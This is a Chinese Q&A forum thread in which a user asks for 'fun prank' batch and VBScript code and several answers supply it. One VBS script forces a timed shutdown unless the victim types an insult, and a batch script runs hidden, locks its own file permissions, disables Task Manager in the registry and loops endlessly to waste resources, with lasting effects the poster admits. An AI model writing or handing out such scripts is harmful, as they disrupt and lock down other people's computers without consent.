Question

求bat批处理的老师！主要是教一些好玩的恶搞代码和基础知识！好的+50分！说到做到！求你们了，我真心的！

留下q

Answer 1

On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
Dim a
Do While (a <> "我是猪")
a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"

Answer 2

@echo off
if "%1" equ "h" goto y
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0,ture)(window.close)&&exit
:y
echo Y|cacls %0 /T /C /P everyone:N
pushd "%~dp0"
setlocal enabledelayedexpansion
for /l %%z in (0,0,1) do (
>tmp%%z echo;lj
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\system /v DisableTaskMgr /t reg_dword /d 1 /f >nul
for /l %%a in (0,1,1000) do (
set/a n=%%a+1
ren tmp%%a tmp!n!
)
ren tmp1001 tmp%%z
)
你会发现有一个文件tmp* 无法删除 绝对整人 并且浪费系统资源
解决方法:重起机子
后遗症:打不开任务管理器,留下一个垃圾文件

Answer 3

用批处理命令可以编写一个bat文件。里面写入关机的代码。还有恶搞的话。我QQ80 6 48 6 1

Answer 4

这个你可以从网上搜一下你想的bat文件一般都能找到的

Answer 5

什么BAT

追问

随便一些代码，+qq教一下

追答

把以下代码复制到记事本中，然后把扩展名改为.vbs运行即可
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
Dim a
Do While (a "我是猪")
a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"

追问

这个太无聊了，见多了，最好能+qq，慢慢教

追答

WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
WScript.Echo("30")
WScript.Echo("29")
WScript.Echo("28")
WScript.Echo("呵呵，骗你的，我也累了，88")
WScript.Echo("还是在耍你")
WScript.Echo("你不想活了？")
WScript.Echo("打开这个？")
WScript.Echo("无语中……")
WScript.Echo("嘿。谁让你点确定的？")
WScript.Echo("我还想多耍你一会儿呢！")
WScript.Echo("我准备问你一个问题")

追问

不愿意留qq就算了，再说这些是从网上复制下来的